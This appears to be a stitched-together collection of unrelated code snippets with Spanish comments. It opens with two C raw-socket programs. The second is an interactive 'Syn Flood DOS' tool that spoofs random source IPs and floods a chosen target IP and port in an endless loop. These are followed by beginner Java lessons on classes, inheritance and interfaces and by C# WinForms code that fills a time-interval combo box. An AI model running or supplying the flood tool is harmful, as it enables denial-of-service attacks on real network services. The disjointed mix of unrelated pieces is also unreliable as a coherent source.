#include<stdio.h>
#include<string.h> //memset
#include<sys/socket.h>
#include<stdlib.h> //for exit(0);
#include<errno.h> //For errno - the error number
#include<netinet/tcp.h> //Provides declarations for tcp header
#include<netinet/ip.h>  //Provides declarations for ip header
 
struct pseudo_header    //needed for checksum calculation
{
        unsigned int source_address;
        unsigned int dest_address;
        unsigned char placeholder;
        unsigned char protocol;
        unsigned short tcp_length;
       
        struct tcphdr tcp;
};
 
unsigned short csum(unsigned short *ptr,int nbytes) {
        register long sum;
        unsigned short oddbyte;
        register short answer;
 
        sum=0;
        while(nbytes>1) {
                sum+=*ptr++;
                nbytes-=2;
        }
        if(nbytes==1) {
                oddbyte=0;
                *((u_char*)&oddbyte)=*(u_char*)ptr;
                sum+=oddbyte;
        }
 
        sum = (sum>>16)+(sum & 0xffff);
        sum = sum + (sum>>16);
        answer=(short)~sum;
       
        return(answer);
}
 
int main (void)
{
        //Create a raw socket
        int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
        //Datagram to represent the packet
        char datagram[4096] , source_ip[32];
        //IP header
        struct iphdr *iph = (struct iphdr *) datagram;
        //TCP header
        struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
        struct sockaddr_in sin;
        struct pseudo_header psh;
       
        strcpy(source_ip , "192.168.1.2"); //IP Origen
 
        sin.sin_family = AF_INET;
        sin.sin_port = htons(80);
        sin.sin_addr.s_addr = inet_addr ("1.2.3.4"); //IP Destino
       
        memset (datagram, 0, 4096);     /* zero out the buffer */
       
        //Fill in the IP Header
        iph->ihl = 5;
        iph->version = 4;
        iph->tos = 0;
        iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
        iph->id = htons(54321); //Id of this packet
        iph->frag_off = 0;
        iph->ttl = 255;
        iph->protocol = IPPROTO_TCP;
        iph->check = 0;         //Set to 0 before calculating checksum
        iph->saddr = inet_addr ( source_ip );   //Spoof the source ip address
        iph->daddr = sin.sin_addr.s_addr;
       
        iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
       
        //TCP Header
        tcph->source = htons (1234);
        tcph->dest = htons (80);
        tcph->seq = 0;
        tcph->ack_seq = 0;
        tcph->doff = 5;  /* first and only tcp segment */
        tcph->fin=0;
        tcph->syn=1;
        tcph->rst=0;
        tcph->psh=0;
        tcph->ack=0;
        tcph->urg=0;
        tcph->window = htons (5840);    /* maximum allowed window size */
        tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
                            should fill in the correct checksum during transmission */
        tcph->urg_ptr = 0;
        //Now the IP checksum
       
        psh.source_address = inet_addr( source_ip );
        psh.dest_address = sin.sin_addr.s_addr;
        psh.placeholder = 0;
        psh.protocol = IPPROTO_TCP;
        psh.tcp_length = htons(20);
       
        memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
       
        tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
       
        //IP_HDRINCL to tell the kernel that headers are included in the packet
        int one = 1;
        const int *val = &one;
        if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
        {
                printf ("Error setting IP_HDRINCL. Error number : %d .
                         Error message : %s \n" , errno , strerror(errno));
                exit(0);
        }
       
        //Uncommend the loop if you want to flood
        //while (1)
        //{
                //Send the packet
                if (sendto (s,  /* our socket */
                            datagram,   /* the buffer containing headers and data */
                            iph->tot_len,       /* total length of our datagram */
                            0,          /* routing flags, normally always 0 */
                            (struct sockaddr *) &sin, /* socket addr, just like in */
                            sizeof (sin)) < 0)  /* a normal send() */
                {
                        printf ("error\n");
                }
                //Data send successfully
                else
                {
                        printf ("Packet Send \n");
                }
        //}
       
        return 0;
}

/*
        Syn Flood DOS with LINUX sockets
*/
#include <stdio.h>
#include <string.h> //memset
#include <sys/types.h>
#include <sys/socket.h>
#include <stdlib.h> //for exit(0);
#include <errno.h> //For errno - the error number
#include <netinet/tcp.h>        //Provides declarations for tcp header
#include <netinet/ip.h> //Provides declarations for ip header
#include <arpa/inet.h>
 
 
struct pseudo_header    //needed for checksum calculation
{
        unsigned int source_address;
        unsigned int dest_address;
        unsigned char placeholder;
        unsigned char protocol;
        unsigned short tcp_length;
       
        struct tcphdr tcp;
};
 
unsigned short csum(unsigned short *ptr,int nbytes) {
        register long sum;
        unsigned short oddbyte;
        register short answer;
 
        sum=0;
        while(nbytes>1) {
                sum+=*ptr++;
                nbytes-=2;
        }
        if(nbytes==1) {
                oddbyte=0;
                *((u_char*)&oddbyte)=*(u_char*)ptr;
                sum+=oddbyte;
        }
 
        sum = (sum>>16)+(sum & 0xffff);
        sum = sum + (sum>>16);
        answer=(short)~sum;
       
        return(answer);
}
 
int main (void)
{
        //Create a raw socket
        int sock; // = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
        //Datagram to represent the packet
        char datagram[4096];
        //IP header
        struct iphdr *iph = (struct iphdr *) datagram;
        //TCP header
        struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
        struct sockaddr_in sin;
        struct pseudo_header psh;
        char source_ip[32];
        char source_ip_fake[32];
        char dest_ip[32];
        int dest_port;
        int rand_ip1, rand_ip2, rand_ip3, rand_ip4;
        unsigned long long int cantidad = 1;
       

        if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
        printf("error creando socket");
        exit(1);
    }
       
        printf("Ingrese la IP de origen: (ex: 200.190.30.40)\n");
        printf("si quiere que cambie sola ingrese \"rand\") \n");
        scanf( "%s" , source_ip );
        strcpy(source_ip_fake, source_ip);
 
        printf("Ingrese la IP de destino: (ex: 200.190.30.40) \n");
       
        scanf( "%s" , dest_ip );
       
        printf("Ingrese puerto de destino: \n");
        scanf( "%d" , &dest_port );
       
        
 
        sin.sin_family = AF_INET;
        sin.sin_port = htons(dest_port);
       
        
        while(1){
       
        if(strcmp(source_ip_fake,"rand")==0){
                rand_ip1 = rand() % 180 + 1;
                rand_ip2 = rand() % 180 + 1;
                rand_ip3 = rand() % 180 + 1;
                rand_ip4 = rand() % 180 + 1;
               
                sprintf(source_ip, "%d.%d.%d.%d", rand_ip1, rand_ip2, rand_ip3, rand_ip4 );
        }
       
        sin.sin_addr.s_addr = inet_addr (dest_ip); //IP Destino
       
       
 
 
        memset (datagram, 0, 4096);     /* zero out the buffer */
       
        //Fill in the IP Header
        iph->ihl = 5;
        iph->version = 4;
        iph->tos = 0;
        iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
        iph->id = htons(54321); //Id of this packet
        iph->frag_off = 0;
        iph->ttl = 255;
        iph->protocol = IPPROTO_TCP;
        iph->check = 0;         //Set to 0 before calculating checksum
        iph->saddr = inet_addr ( source_ip );   //Spoof the source ip address
        iph->daddr = sin.sin_addr.s_addr;
       
        iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
       
        //TCP Header
        tcph->source = htons (1234); //source port
        tcph->dest = htons (dest_port); //destination port
        tcph->seq = 0;
        tcph->ack_seq = 0;
        tcph->doff = 5;  /* first and only tcp segment */
        tcph->fin=0;
        tcph->syn=1;
        tcph->rst=0;
        tcph->psh=0;
        tcph->ack=0;
        tcph->urg=0;
        tcph->window = htons (5840);    /* maximum allowed window size */
        tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
                            should fill in the correct checksum during transmission */
        tcph->urg_ptr = 0;
        
       
        psh.source_address = inet_addr( source_ip );
        psh.dest_address = sin.sin_addr.s_addr;
        psh.placeholder = 0;
        psh.protocol = IPPROTO_TCP;
        psh.tcp_length = htons(20);
       
        memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
        
       
       
        //IP_HDRINCL to tell the kernel that headers are included in the packet
        int one = 1;
        const int *val = &one;
        if (setsockopt (sock, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
        {
                printf ("Error setting IP_HDRINCL.");
                printf ("Error number : %d . Error message : %s \n" , errno , strerror(errno));
                exit(0);
        }
       
        printf("Will start the flood to %s:%d \n", dest_ip, dest_port);
        printf("From %s \n", source_ip);
        
               
 
                tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
 
               
               
                //Send the packet
                if (sendto (sock,       /* our socket */
                            datagram,   /* the buffer containing headers and data */
                            iph->tot_len,       /* total length of our datagram */
                            0,          /* routing flags, normally always 0 */
                            (struct sockaddr *) &sin, /* socket addr, just like in */
                            sizeof (sin)) < 0)  /* a normal send() */
                {
                        printf ("error\n");
                }//Data send successfully
                else
                {
                        printf ("%d Packet Send ! \n", cantidad);
                        cantidad++;
                       
                }
       
        }
        return 0;
}

package programandoobjetos;
//Por norma los nombres de las clases comienzan con mayúscula:
public class Automovil {
    //Atributos:
    String Color, Marca, Patente;
    int Cambios, Puertas;
 
    //Métodos:
    void verDatos(){
       System.out.println("Color: " + Color);
       System.out.println("Marca: " + Marca);
       System.out.println("Cambios: " + Cambios);
       System.out.println("Puertas: " + Puertas);
       if(Patente != null)
       {
           System.out.println("Patente: " + Patente);
       }
       System.out.println();
    }
    //Cuando un método de una clase se llama igual que la clase
    //significa que es el constructor de la clase
    //es decir la funcion a la que se llama al crear el objeto
    //Y se determina sus parámetros
    public Automovil(String color, String marca, int cambios,
                     int puertas){
        this.Color = color;
        this.Marca = marca;
        this.Cambios = cambios;
        this.Puertas = puertas;
    }
   
    //El polimorfismo o sobre carga de métodos
    //Es que podamos tener funciones con el mismo nombre
    //Y distitnos parámetros y acciones
    //En este caso tendremos otro constructor
    //que acepte como parámetro también la patente
     public Automovil(String color, String marca, int cambios,
                      int puertas, String patente){
        this.Color = color;
        this.Marca = marca;
        this.Cambios = cambios;
        this.Puertas = puertas;
        this.Patente = patente;
    }
}

package programandoobjetos;
 
 
public class ProgramandoObjetos {
 
    public static void main(String[] args) {
   
      //Creamos un objeto del tipo automovil
      //Le pasamos parametros a su constructor
      Automovil Auto = new Automovil("Azul","Mercedes Benz", 5, 4);
      //En este caso también le pasamos la patente
      //Y automáticamente usa el otro constructor
      Automovil Auto2 = new Automovil("Rojo","Ferrari", 4, 2, "HYO345");
     
      Auto.verDatos();
      Auto2.verDatos();
   
    }  
 
}
/* Imprime:
    Color: Azul
    Marca: Mercedes Benz
    Cambios: 5
    Puertas: 4
 
    Color: Rojo
    Marca: Ferrari
    Cambios: 4
    Puertas: 2
    Patente: HYO345
 
*/

package herencia;
 
public class Persona {
    int  numeroDeDocumento;
    String nombre, apellido, tipoDeDocumento;
 
   
    void Persona(String nom, String ape)
    {
       this.nombre = nom;
       this.apellido = ape;
    }
   
    void setDocumento(String tipo, int numero){
        this.tipoDeDocumento = tipo;
        this.numeroDeDocumento = numero;
    }
   
    void verDocumento(){
       System.out.println("Tipo de documento: " + tipoDeDocumento
       + "\nNumero de documento: " + numeroDeDocumento);
    }
   
    void verNombre(){
        System.out.println("nombre: " + nombre
        + " \nApellido: " + apellido);
    }
   
}

package herencia;
 
//La clase pública Empleado hereda de Persona
public class Empleado extends Persona {
   
    int Sueldo;
    String Cargo;
   
    //El constructor mínimamente debe tener
    //los parámetros del constructor de
    //la clase Padre:
    public Empleado(String nom, String ape,
                    int sueldo, String cargo){
       
        this.Sueldo = sueldo;
        this.Cargo = cargo;
        //Nombre y apellido fueron algunos de los
        //Atributos heredados:
        this.nombre = nom;
        this.apellido = ape;
    }
   
    void VerSueldo(){
        System.out.println("Sueldo: " + Sueldo);
    }
   
   void verCargo(){
       System.out.println("Cargo: " + Cargo);
   }
     
}

package herencia;
 
 
public class Herencia {
 
    public static void main(String[] args) {
       //Creamos un objeto de la clase empleado
       //Le pasamos los parametros a su constructor
       Empleado NombreDelObjeto = new Empleado("Juan","Perez",
                                  15000, "Software Developer");
       //Como vemos, usamos las funciones de la clase padre
       //Y sus atributos
       NombreDelObjeto.setDocumento("DNI", 20202678);
       
       NombreDelObjeto.verNombre();
       NombreDelObjeto.verDocumento();
       NombreDelObjeto.verCargo();
       NombreDelObjeto.VerSueldo();
    }
   
}
/*Print:
 
        nombre: Juan    
        Apellido: Perez
        Tipo de documento: DNI
        Numero de documento: 20202678
        Cargo: Software Developer
        Sueldo: 15000
 
*/

package encapsulacion;
 
 
public class Persona {
    private int numDoc;
    public String ColorDePiel;
    protected String nombre;
   
    Persona(int doc, String color, String nomb){
            this.numDoc = doc;
            this.ColorDePiel = color;
            this.nombre = nomb;
    }
    //Como numDoc no puede accederse desde otro lado
    //Más que su propia clase, ya que es private
    //Hacemos una función que lo muestre
    void VerDoc()
    {
        System.out.println("Documento: " + this.numDoc);
    }
}

package encapsulacion;
 
 
public class Encapsulacion {
 
   
    public static void main(String[] args) {
       Persona Jorge = new Persona(32145672,"Blanco", "Jorge");
       //Podemos acceder a sus atributos públicos
       //y protected (ya que estamos en el mismo package)
       //pero no a los private (Solo pueden accederse
       //Desde su misma clase)
       System.out.println("Color: " + Jorge.ColorDePiel);
       System.out.println("Nombre: " + Jorge.nombre);
       Jorge.VerDoc();
    }
   
}

interface InstrumentoMusical{
   
    void tocar();
    void Afinar();
       
}
 
class Flauta implements InstrumentoMusical {
 
    @Override
    public void tocar() {
       //Acá la implementación
    }
 
    @Override
    public void Afinar() {
        //Acá la implementación
    }
   
}

Interface SubInterface extends PadreUno, PadreDos
{    
 
}

<?xml version="1.0" encoding="utf-8" ?>
<configuration>


  <appSettings>
    <!-- Los valores si no son de 2 cifras deben tener ceros como 01, 02 ,03, etc-->
    <add key="HoraDesde" value="00" />
    <add key="MinutoDesde" value="00" />
    
    <add key="HoraHasta" value="28" />
    <add key="MinutoHasta" value="00" />

    <add key="IntervaloDeMinutos" value="180" />
  </appSettings>
  
</configuration>

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Configuration;

namespace LlenandoCombo
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {

            string HoraDesde = ConfigurationManager.AppSettings["HoraDesde"].ToString();
            string MinutoDesde = ConfigurationManager.AppSettings["MinutoDesde"].ToString();

            string HoraHasta =ConfigurationManager.AppSettings["HoraHasta"].ToString();
            string MinutoHasta = ConfigurationManager.AppSettings["MinutoHasta"].ToString();

            int IntervaloDeMinutos = Convert.ToInt32(ConfigurationManager.AppSettings["IntervaloDeMinutos"].ToString());
           

            LlenarCombo(HoraDesde, MinutoDesde, HoraHasta, MinutoHasta, IntervaloDeMinutos);
        }

        private void LlenarCombo(string _HoraDesde, string _MinutoDesde, string _HoraHasta, string _MinutoHasta, int MinutesRange)
        {
            try
            {
                comboBox1.Items.Add(_HoraDesde + ":" + _MinutoDesde);
                int horadesde = Convert.ToInt32(_HoraDesde);
                int horahasta = Convert.ToInt32(_HoraHasta);
                int minutodesde = Convert.ToInt32(_MinutoDesde);
                int minutohasta = Convert.ToInt32(_MinutoHasta);
                int multiplicador;
            
                int horaintervalo = horadesde;
                int minutointervalo = minutodesde;

                string strHoraIntervalo, strMinutoIntervalo;
                

                while(horaintervalo < horahasta && 
                     (horaintervalo != horahasta || minutointervalo < minutohasta))
                {
                    minutointervalo += MinutesRange;

                    if (minutointervalo >= 60)
                    {
                        multiplicador = (minutointervalo / 60);
                        minutointervalo -= 60 * multiplicador;
                        horaintervalo += 1 * multiplicador;
                    }

                    if (horaintervalo > horahasta ||
                       (horaintervalo == horahasta && minutointervalo >= minutohasta))
                    {
                        break;
                    }
                    
                    strHoraIntervalo = horaintervalo.ToString();
                    strMinutoIntervalo = minutointervalo.ToString();

                    if (strHoraIntervalo.Length == 1)
                    {
                        strHoraIntervalo = "0" + strHoraIntervalo;
                    }

                    if (strMinutoIntervalo.Length == 1)
                    {
                        strMinutoIntervalo = "0" + strMinutoIntervalo;
                    }

                    comboBox1.Items.Add(strHoraIntervalo + ":" + strMinutoIntervalo);

                }

                comboBox1.Items.Add(_HoraHasta + ":" + _MinutoHasta);
                comboBox1.SelectedIndex = 0;
              

            }
            catch (Exception e)
            {

                MessageBox.Show("Se ha producido un error, contacte al administrador del sistema \n" + e.Message.ToString());
            }
        }
    }
}

  <appSettings>
    <add key="HoraDesde" value="20" />
    <add key="MinutoDesde" value="10" />
    
    <add key="HoraHasta" value="3" />
    <add key="MinutoHasta" value="25" />

    <add key="IntervaloDeMinutos" value="30" />
  </appSettings>

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Configuration;

namespace LlenandoCombo
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {

            int HoraDesde = Convert.ToInt32(ConfigurationManager.AppSettings["HoraDesde"].ToString());
            int MinutoDesde = Convert.ToInt32(ConfigurationManager.AppSettings["MinutoDesde"].ToString());

            int HoraHasta = Convert.ToInt32(ConfigurationManager.AppSettings["HoraHasta"].ToString());
            int MinutoHasta = Convert.ToInt32(ConfigurationManager.AppSettings["MinutoHasta"].ToString());

            int IntervaloDeMinutos = Convert.ToInt32(ConfigurationManager.AppSettings["IntervaloDeMinutos"].ToString());
           

            LlenarCombo(HoraDesde, MinutoDesde, HoraHasta, MinutoHasta, IntervaloDeMinutos);
        }

        private void LlenarCombo(int _HoraDesde, int _MinutoDesde, int _HoraHasta, int _MinutoHasta, int MinutesRange)
        {
            try
            {

                DateTime HorasYMinutosDesde = new DateTime();

                //setea primera hora
                TimeSpan ts = new TimeSpan(_HoraDesde, _MinutoDesde, 0);
                HorasYMinutosDesde = HorasYMinutosDesde.Date + ts;
                comboBox1.Items.Add(HorasYMinutosDesde.ToString("HH:mm"));
                
                //Si hora 'desde' es mayor a la 'hasta' o es la misma hora pero mayores minutos
                //Agrega 24 hs para calcular que es en un día distinto
                if (_HoraDesde > _HoraHasta || (_HoraDesde == _HoraHasta && _MinutoDesde > _MinutoHasta))
                {
                    _HoraHasta += 24;

                }

                DateTime HorasYMinutosHasta = new DateTime();
                ts = new TimeSpan(_HoraHasta, _MinutoHasta, 0);
                HorasYMinutosHasta = HorasYMinutosHasta.Date + ts;

                DateTime HorasYMinutosIntervalo = new DateTime();

                HorasYMinutosIntervalo = HorasYMinutosDesde;

                //Acá se podría usar DateTime.Compare pero me parecio más simple así
                while (HorasYMinutosIntervalo.Hour <= HorasYMinutosHasta.Hour ||
                        HorasYMinutosIntervalo.Date <= HorasYMinutosHasta.Date)
                {
                    HorasYMinutosIntervalo = HorasYMinutosIntervalo.AddMinutes(MinutesRange);

                    //Acá chequea que la nueva hora agregar no haya igualado o superado a la máxima
                    if (HorasYMinutosIntervalo.Hour == HorasYMinutosHasta.Hour &&
                        HorasYMinutosIntervalo.Minute >= HorasYMinutosHasta.Minute
                        && HorasYMinutosIntervalo.Date == HorasYMinutosHasta.Date)
                    {

                        break;
                    }
                    comboBox1.Items.Add(HorasYMinutosIntervalo.ToString("HH:mm"));
                }

                //Setea hora hasta   
                comboBox1.Items.Add(HorasYMinutosHasta.ToString("HH:mm"));
                comboBox1.SelectedIndex = 0;
            }
            catch (Exception e)
            {

                MessageBox.Show("Se ha producido un error, contacte al administrador del sistema \n" + e.Message.ToString());
            }
        }
    }
}